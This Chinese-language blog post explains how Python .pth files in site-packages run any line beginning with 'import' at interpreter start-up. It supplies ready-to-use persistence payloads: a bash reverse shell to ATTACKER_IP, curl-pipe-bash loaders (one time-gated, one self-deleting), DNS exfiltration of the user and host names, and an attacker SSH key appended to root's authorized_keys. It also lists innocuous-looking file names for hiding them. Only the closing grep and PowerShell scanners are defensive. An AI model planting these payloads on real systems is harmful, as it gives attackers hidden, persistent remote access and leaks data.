震惊!Python 官方特性竟藏后门?

PM2、Supervisor、systemd管理的Flask、Django等Python Web服务重启pip install、pip list、pip freeze等pip命令执行cron定时任务执行Python脚本管理员手动运行python3 xxx.py服务器重启后systemd自动拉起Python服务。

# .pth file for the PyWin32 extensionswin32win32\libPythonwin# And some hackery to deal with environments where the post_install script# isn't run.import pywin32_bootstrap

import os; os.system("calc.exe") 

1. 某一行如果是#开头的，就当是备注，直接跳过不看；2. 空行也直接跳过，没什么用；3. 某一行如果是以import开头的，它就会直接执行这行代码（相当于在Python里敲了这行命令运行）；4. 其他内容，就当成“找模块的路径”，添加到Python的搜索列表里，这样Python就能找到你自己写的模块了。

def addpackage(sitedir, name, known_paths):    """处理 site-packages 目录中的 .pth 文件：       对于文件中的每一行，要么将其与 sitedir 组合成路径并添加到 known_paths，       要么如果该行以 'import ' 开头则执行它。    """.....for n, line in enumerate(pth_content.splitlines(), 1):    if line.startswith("#"):         continue        if line.strip() == "":            continue    try:        if line.startswith(("import ", "import\t")):  ## 重点是这个            exec(line)            continue            line = line.rstrip()        dir, dircase = makepath(sitedir, line)        if dircase not in known_paths and os.path.exists(dir):            sys.path.append(dir)            known_paths.add(dircase).....

python -c "import site; print(site.getsitepackages())

echo import os; os.system("calc.exe") > D:\python38\lib\site-packages\setuptools-compat.pth

del D:\python38\lib\site-packages\setuptools-compat.pth

python3 -c "import site; print(site.getsitepackages())"# 输出: ['/usr/lib/python3/dist-packages', '/usr/lib/python3.12/dist-packages']echo 'import os; os.system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\" &")' > /usr/lib/python3/dist-packages/distutils-compat.pth

import os, time; exec("h=time.localtime().tm_hour\nif 2<=h<=4: os.system('curl http://ATTACKER/beacon.sh|bash &')")

import os; exec("p='/usr/lib/python3/dist-packages/distutils-compat.pth'\nos.system('curl http://ATTACKER/payload.sh|bash &')\nos.remove(p)")

import os; os.system("nslookup $(whoami).$(hostname).attacker.com &")

import os; exec("d='/root/.ssh'\nos.makedirs(d,exist_ok=True)\nf=open(d+'/authorized_keys','a')\nf.write('\\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... attacker@pwn\\n')\nf.close()\nos.chmod(d+'/authorized_keys',0o600)")

distutils-precedence.pth       ← 真实存在的文件名setuptools-compat.pth          ← 看起来像 setuptools 的兼容层pip-system-certs.pth           ← 看起来像证书配置_virtualenv.pth                ← 看起来像 virtualenv 的配置certifi-system-store.pth       ← 看起来像证书存储配置

# 扫描所有 site-packages 中包含可疑关键词的 .pth 文件find / -name "*.pth" -path "*/site-packages/*" 2>/dev/null | while read f; doif grep -qiE "(os\.system|subprocess|os\.popen|socket|exec\(|eval\(|urllib|requests\.|curl|wget|bash|/bin/sh|reverse|/dev/tcp)" "$f"; thenecho "[!] 可疑: $f"cat "$f"echo "---"fidone

Get-ChildItem -Path C:\ -Recurse -Filter "*.pth" -ErrorAction SilentlyContinue |    Where-Object { $_.FullName -like "*site-packages*" } |                   ForEach-Object {                   $$content = Get-Content $$_.FullName -Raw                   if ($content -match "os\.system|subprocess|os\.popen|socket|exec\(|eval\(|calc|cmd|powershell") {                       Write-Host "[!] 可疑: $$($$_.FullName)" -ForegroundColor Red                           Write-Host $content                           Write-Host "---"                           }                           }